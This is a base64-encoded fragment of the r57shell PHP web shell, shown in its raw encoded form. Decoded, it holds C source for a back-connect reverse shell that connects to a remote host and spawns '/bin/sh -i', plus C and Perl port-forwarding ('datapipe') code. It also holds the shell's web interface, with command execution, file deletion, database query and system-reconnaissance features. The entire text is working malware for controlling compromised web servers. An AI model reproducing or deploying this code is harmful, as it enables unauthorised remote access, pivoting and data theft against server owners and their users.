TnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOyRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTINCngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcwS0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9qYVc1amINCkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4c2FXNTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0ZEdWeWJpQmoNCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNuSnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEwS2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNuSXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFIxY200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pkT3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpuWXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpuZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3RFFvZ0lHbHVkQ0JqWVdSa2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0JtWkhOeUxDQm1aSE5sT3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElITmxjblpsYm5RZ0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RRb2dJSFZ1YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21WMGRYSnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9nSUdsbUlDZ2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNBZ0lDQWdJU2hvSUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3RFFvZ0lDQWdjR1Z5Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYwcEtTazdEUW9nSUdsbUlDZ29iSE52WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJb0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNVNUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoNCnZjaWdpWW1sdVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnBaaUFvYkdsemRHVnVLR3h6YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlpazdEUW9nSUMNCkFnY21WMGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMGdMVEVwSUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRnTWpBN0QNClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgNClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDANCmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpjMjlqYXkNCnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMNCjI5amF6c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hsSUNoM1lXbDBjR2xrS0MweExDQk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJSEpsZEhWeWJpQXkNCk1Ec05DZzBLSUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQVDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNOQ2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2Y0c5eWRDazdEUW9nSUcxbGJXTndlU2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Npd2dhQzArYUY5c1pXNW5kR2dwT3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxDQnphWHBsYjJZb2IyRmtaSElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVptUnpjaWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFvYjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJQ0FnYVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4ZFdsME1qc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlLU0I4ZkNCR1JGOUpVMU5GVkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJSEpsWVdRb1kzTnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdjWFZwZERJN0RRb2dJQ0FnSUNCcFppQW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tnZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2NtVmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJRHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQWdJR2xtSUNnb2QzSnANCmRHVW9ZM052WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ2ZRMEtJQ0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052WTJzc01pazdEUW8NCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0NCmxzWlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7JGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQ0KQ0FnSUNBZ1BTQWtRVkpIVmxzeFhUc05DaVJ3YjNKMElDQWdJQ0FnUFNBa1FWSkhWbHN5WFRzTkNpUmtZV1Z0YjI0OU1Uc05DaVJFU1ZJZ1BTQjFibVJsWmpzTkNpUjhJRDBnTVRzTkNtbG1JQ2drWkdGbA0KYlc5dUtYc2dKSEJwWkNBOUlHWnZjbXM3SUdWNGFYUWdhV1lnSkhCcFpEc2daR2xsSUNJa0lTSWdkVzVzWlhOeklHUmxabWx1WldRb0pIQnBaQ2s3SUZCUFUwbFlPanB6WlhSemFXUW9LU0J2Y2lCa2FXVQ0KZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbA0KTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZE1iMk5oYkZCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0oxSmxkWE5sSnlBOVBpQXhMQ2RNYVhOMFpXNG5JRDArSURFd0tTQjhmQ0JrYVdVZ0lpUWhJanNOQw0KaVJUU1VkN0owTklURVFuZlNBOUlDZEpSMDVQVWtVbk93MEtKRzUxYlNBOUlEQTdEUXAzYUdsc1pTQW9NU2tnZXlBTkNpUmphQ0E5SUNSaGFDMCtZV05qWlhCMEtDazdJR2xtSUNnaEpHTm9LU0I3SUhCeQ0KYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSg0KU0lDSWtJVnh1SWpzZ2ZTQU5DbVZzYzJsbUlDZ2tjR2xrSUQwOUlEQXBJSHNnSkdGb0xUNWpiRzl6WlNncE95QlNkVzRvWENWdkxDQWtZMmdzSUNSdWRXMHBPeUI5SUEwS1pXeHpaU0I3SUNSamFDMCtZMg0KeHZjMlVvS1RzZ2ZRMEtmUTBLYzNWaUlGSjFiaUI3RFFwdGVTZ2tieXdnSkdOb0xDQWtiblZ0S1NBOUlFQmZPdzBLYlhrZ0pIUm9JRDBnU1U4Nk9sTnZZMnRsZERvNlNVNUZWQzArYm1WM0tDZFFaV1Z5UQ0KV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTg0KQ21sbUlDZ2tieTArZXlka2FYSW5mU2tnZXlBa1ptZ2dQU0JUZVcxaWIydzZPbWRsYm5ONWJTZ3BPeUJ2Y0dWdUtDUm1hQ3dnSWo0a2J5MCtleWRrYVhJbmZTOTBkVzV1Wld3a2JuVnRMbXh2WnlJcElHOQ0KeUlHUnBaU0FpSkNFaU95QjlEUW9rWTJndFBtRjFkRzltYkhWemFDZ3BPdzBLSkhSb0xUNWhkWFJ2Wm14MWMyZ29LVHNOQ25kb2FXeGxJQ2drWTJnZ2ZId2dKSFJvS1NCN0RRcHRlU0FrY21sdUlEMGdJaQ0KSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYw0KbTkxZEN3Z0pHVnZkWFFwT3cwS2MyVnNaV04wS0NSeWIzVjBJRDBnSkhKcGJpd2dkVzVrWldZc0lDUmxiM1YwSUQwZ0pISnBiaXdnTVRJd0tUc05DbWxtSUNnaEpISnZkWFFnSUNZbUlDQWhKR1Z2ZFhRcA0KSUh0OURRcHRlU0FrWTJKMVptWmxjaUE5SUNJaU93MEtiWGtnSkhSaWRXWm1aWElnUFNBaUlqc05DbWxtSUNna1kyZ2dKaVlnS0habFl5Z2taVzkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUh4OElIWg0KbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVw0KUW9KSEpsYzNWc2RDa3BJSHNOQ25CeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN0RRcGxlR2wwSURBN0RRcDlEUXBwWmlBb0pISmxjM1ZzZENBOVBTQXdLU0I3SUdWNGFYUWdNRHNnZlEwS2ZRMEthV1lnSw0KQ1IwYUNBZ0ppWWdJQ2gyWldNb0pHVnZkWFFzSUdacGJHVnVieWdrZEdncExDQXhLU0FnZkh3Z2RtVmpLQ1J5YjNWMExDQm1hV3hsYm04b0pIUm9LU3dnTVNrcEtTQjdEUXB0ZVNBa2NtVnpkV3gwSUQwZw0KYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMA0KTkNtbG1JQ2drY21WemRXeDBJRDA5SURBcElIdGxlR2wwSURBN2ZRMEtmUTBLYVdZZ0tDUm1hQ0FnSmlZZ0lDUjBZblZtWm1WeUtTQjdLSEJ5YVc1MElDUm1hQ0FrZEdKMVptWmxjaWs3ZlEwS2QyaHBiRw0KVWdLRzE1SUNSc1pXNGdQU0JzWlc1bmRHZ29KSFJpZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pIUm9MQ0FrZEdKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSQ0KREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScw0KWlc0Z1BTQnNaVzVuZEdnb0pHTmlkV1ptWlhJcEtTQjdEUXB0ZVNBa2NtVnpJRDBnYzNsemQzSnBkR1VvSkdOb0xDQWtZMkoxWm1abGNpd2dKR3hsYmlrN0RRcHBaaUFvSkhKbGN5QStJREFwSUhza1kySg0KMVptWmxjaUE5SUhOMVluTjBjaWdrWTJKMVptWmxjaXdnSkhKbGN5azdmU0FOQ21Wc2MyVWdlM0J5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3ZlEwS2ZYMTlEUW89IjtlY2hvICRoZWFkO2VjaG8gJzwvaGVhZD4nO2lmKGVtcHR5KCRfUE9TVFsnY21kJ10pKXskc2Vydj1hcnJheSgxMjcgLDE5MiAsMTcyICwxMCApOyRhZGRyPUBleHBsb2RlKCcuJywkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk7JGN1cnJlbnRfdmVyc2lvbj1zdHJfcmVwbGFjZSgnLicsJycsJHZlcnNpb24pO2lmKCFpbl9hcnJheSgkYWRkclswIF0sJHNlcnYpKXt9fWVjaG8gJzxib2R5IGJnY29sb3I9IiNlNGUwZDgiPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+DQo8dHI+PHRkIGJnY29sb3I9I2NjY2NjYyB3aWR0aD0yMDA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9Mj4nLndzKDEgKS4nJm5ic3A7DQo8Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48Yj4nLndzKDIgKS4ncjU3c2hlbGwgJy4kdmVyc2lvbi4nPC9iPg0KPC9mb250PjwvdGQ+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4nO2VjaG8gd3MoMiApO2VjaG8gIjxiPiIuZGF0ZSgiZC1tLVkgSDppOnMiKS4iPC9iPiI7ZWNobyB3cygyICkuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjtlY2hvIHdzKDIgKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7ZWNobyB3cygyICkuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/Y3B1IHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwvYT4gIi4kcmI7ZWNobyB3cygyICkuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7aWYoJHVuaXgpe2VjaG8gd3MoMiApLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VzZXJzIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iXCI+PGI+dXNlcnM8L2I+PC9hPiAiLiRyYjt9ZWNobyB3cygyICkuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7ZWNobyB3cygyICkuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bXlzcWxfcXVlcnk+PGI+bXlzcWwgcXVlcnk8L2I+PC9hPiAiLiRyYjtlY2hvIHdzKDIgKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kZWxldGUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAiLiRyYi4iPGJyPiI7ZWNobyB3cygyICk7ZWNobyAoKCRzYWZlX21vZGUpPygic2FmZV9tb2RlOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Iik6KCJzYWZlX21vZGU6IDxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiIpKTtlY2hvIHdzKDIgKTtlY2hvICJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjskY3VybF9vbj1AZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTtlY2hvIHdzKDIgKTtlY2hvICJjVVJMOiAiLigoJGN1cmxfb24pPygiPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiIpOigiPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IikpO2VjaG8gd3MoMiApO2VjaG8gIk15U1FMOiA8Yj4iOyRteXNxbF9vbj1AZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7aWYoJG15c3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+Ijt9ZWNobyB3cygyICk7ZWNobyAiTVNTUUw6IDxiPiI7JG1zc3FsX29uPUBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTtpZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4iO31lY2hvIHdzKDIgKTtlY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOyRwZ19vbj1AZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7aWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+Ijt9ZWNobyB3cygyICk7ZWNobyAiT3JhY2xlOiA8Yj4iOyRvcmFfb249QGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKTtpZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+Ijt9ZWNobyAiPGJyPiIud3MoMiApO2VjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjtpZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPiI7fSRmcmVlPUBkaXNrZnJlZXNwYWNlKCRkaXIpO2lmKCEkZnJlZSl7JGZyZWU9MCA7fSRhbGw9QGRpc2tfdG90YWxfc3BhY2UoJGRpcik7aWYoISRhbGwpeyRhbGw9MCA7fSR1c2VkPSRhbGwtJGZyZWU7JHVzZWRfcGVyY2VudD1Acm91bmQoMTAwIC8oJGFsbC8kZnJlZSksMiApO2VjaG8gIjxicj4iLndzKDIgKS4iSEREIEZyZWUgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gSEREIFRvdGFsIDogPGI+Ii52aWV3X3NpemUoJGFsbCkuIjwvYj4iO2VjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPg0KPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD4NCjx0cj48dGQgYWxpZ249cmlnaHQgd2lkdGg9MTAwPic7ZWNobyAkZm9udDtpZighJHdpbmRvd3Mpe2VjaG8gJzxmb250IGNvbG9yPWJsdWU+PGI+dW5hbWUgLWEgOicud3MoMSApLic8YnI+c3lzY3RsIDonLndzKDEgKS4nPGJyPiRPU1RZUEUgOicud3MoMSApLic8YnI+U2VydmVyIDonLndzKDEgKS4nPGJyPmlkIDonLndzKDEgKS4nPGJyPnB3ZCA6Jy53cygxICkuJzwvYj48L2ZvbnQ+PGJyPic7ZWNobyAiPC90ZD48dGQ+IjtlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjskdW5hbWU9ZXgoJ3VuYW1lIC1hJyk7ZWNobyAoKCFlbXB0eSgkdW5hbWUpKT8od3MoMyApLkBzdWJzdHIoJHVuYW1lLDAgLDEyMCApLiI8YnI+Iik6KHdzKDMgKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwICwxMjAgKS4iPGJyPiIpKTtpZighJHNhZmVfbW9kZSl7JGJzZDE9ZXgoJ3N5c2N0bCAtbiBrZXJuLm9zdHlwZScpOyRic2QyPWV4KCdzeXNjdGwgLW4ga2Vybi5vc3JlbGVhc2UnKTskbGluMT